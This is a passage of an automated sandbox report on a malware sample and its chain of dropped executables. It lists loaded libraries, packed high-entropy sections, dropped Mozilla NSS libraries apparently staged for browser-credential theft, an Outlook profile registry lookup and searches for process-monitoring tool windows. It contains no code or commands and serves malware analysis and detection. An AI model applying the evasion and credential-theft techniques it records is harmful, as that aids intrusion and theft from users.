Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1795072 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: file.exe

Static PE information: Raw size of lddnlomi is bigger than: 0x100000 < 0x19c400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1851485927.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1851485927.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.5d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddnlomi:EW;skssdahy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddnlomi:EW;skssdahy:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Unpacked PE file: 26.2.DocumentsBGDBAKFCFH.exe.40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.380000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.380000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.380000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pmwkhdjz:EW;vcbfrjit:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Unpacked PE file: 34.2.unik.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qsywaako:EW;uxjqxqlj:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Unpacked PE file: 36.2.d4a6d0bce7.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eavnjjhw:EW;kvnmziai:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eavnjjhw:EW;kvnmziai:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.32.dr	Static PE information: real checksum: 0x1cdf5e should be: 0x1205b5
Source: a01b32dfa9.exe.32.dr	Static PE information: real checksum: 0x1cdf5e should be: 0x1205b5
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: real checksum: 0x1e2ee6 should be: 0x1d5cc0
Source: random[1].exe.32.dr	Static PE information: real checksum: 0x447a5d should be: 0x4475d5
Source: d4a6d0bce7.exe.32.dr	Static PE information: real checksum: 0x447a5d should be: 0x4475d5
Source: file.exe	Static PE information: real checksum: 0x1bf030 should be: 0x1c3c4e
Source: unik.exe.32.dr	Static PE information: real checksum: 0x1f7f02 should be: 0x1f2265
Source: unik[1].exe.32.dr	Static PE information: real checksum: 0x1f7f02 should be: 0x1f2265
Source: skotes.exe.26.dr	Static PE information: real checksum: 0x1e2ee6 should be: 0x1d5cc0
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1e2ee6 should be: 0x1d5cc0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: lddnlomi
Source: file.exe	Static PE information: section name: skssdahy
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: pmwkhdjz
Source: random[1].exe.1.dr	Static PE information: section name: vcbfrjit
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name:
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name:
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name: pmwkhdjz
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name: vcbfrjit
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name: .taggant
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: pmwkhdjz
Source: skotes.exe.26.dr	Static PE information: section name: vcbfrjit
Source: skotes.exe.26.dr	Static PE information: section name: .taggant
Source: unik[1].exe.32.dr	Static PE information: section name:
Source: unik[1].exe.32.dr	Static PE information: section name: .idata
Source: unik[1].exe.32.dr	Static PE information: section name:
Source: unik[1].exe.32.dr	Static PE information: section name: qsywaako
Source: unik[1].exe.32.dr	Static PE information: section name: uxjqxqlj
Source: unik[1].exe.32.dr	Static PE information: section name: .taggant
Source: unik.exe.32.dr	Static PE information: section name:
Source: unik.exe.32.dr	Static PE information: section name: .idata
Source: unik.exe.32.dr	Static PE information: section name:
Source: unik.exe.32.dr	Static PE information: section name: qsywaako
Source: unik.exe.32.dr	Static PE information: section name: uxjqxqlj
Source: unik.exe.32.dr	Static PE information: section name: .taggant
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: eavnjjhw
Source: random[1].exe.32.dr	Static PE information: section name: kvnmziai
Source: random[1].exe.32.dr	Static PE information: section name: .taggant
Source: d4a6d0bce7.exe.32.dr	Static PE information: section name:
Source: d4a6d0bce7.exe.32.dr	Static PE information: section name: .idata
Source: d4a6d0bce7.exe.32.dr	Static PE information: section name:
Source: d4a6d0bce7.exe.32.dr	Static PE information: section name: eavnjjhw
Source: d4a6d0bce7.exe.32.dr	Static PE information: section name: kvnmziai
Source: d4a6d0bce7.exe.32.dr	Static PE information: section name: .taggant
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name: .idata
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name: avuktrbe
Source: random[1].exe0.32.dr	Static PE information: section name: hcoakmjd
Source: random[1].exe0.32.dr	Static PE information: section name: .taggant
Source: a01b32dfa9.exe.32.dr	Static PE information: section name:
Source: a01b32dfa9.exe.32.dr	Static PE information: section name: .idata
Source: a01b32dfa9.exe.32.dr	Static PE information: section name:
Source: a01b32dfa9.exe.32.dr	Static PE information: section name: avuktrbe
Source: a01b32dfa9.exe.32.dr	Static PE information: section name: hcoakmjd
Source: a01b32dfa9.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Code function: 26_2_04A20786 push CA9994C7h; retf 5250h		26_2_04A207B5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0039D91C push ecx; ret		32_2_0039D92F

Source: file.exe	Static PE information: section name: lddnlomi entropy: 7.953559874018647
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.980154489410313
Source: random[1].exe.1.dr	Static PE information: section name: pmwkhdjz entropy: 7.95368170644459
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name: entropy: 7.980154489410313
Source: DocumentsBGDBAKFCFH.exe.1.dr	Static PE information: section name: pmwkhdjz entropy: 7.95368170644459
Source: skotes.exe.26.dr	Static PE information: section name: entropy: 7.980154489410313
Source: skotes.exe.26.dr	Static PE information: section name: pmwkhdjz entropy: 7.95368170644459
Source: unik[1].exe.32.dr	Static PE information: section name: entropy: 7.940987719627395
Source: unik[1].exe.32.dr	Static PE information: section name: qsywaako entropy: 7.948947810907132
Source: unik.exe.32.dr	Static PE information: section name: entropy: 7.940987719627395
Source: unik.exe.32.dr	Static PE information: section name: qsywaako entropy: 7.948947810907132
Source: random[1].exe.32.dr	Static PE information: section name: eavnjjhw entropy: 7.955691059104213
Source: d4a6d0bce7.exe.32.dr	Static PE information: section name: eavnjjhw entropy: 7.955691059104213
Source: random[1].exe0.32.dr	Static PE information: section name: entropy: 7.967768582500497
Source: random[1].exe0.32.dr	Static PE information: section name: avuktrbe entropy: 7.9421716309327595
Source: a01b32dfa9.exe.32.dr	Static PE information: section name: entropy: 7.967768582500497
Source: a01b32dfa9.exe.32.dr	Static PE information: section name: avuktrbe entropy: 7.9421716309327595

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBGDBAKFCFH.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBGDBAKFCFH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\unik[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009636001\a01b32dfa9.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBGDBAKFCFH.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBGDBAKFCFH.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
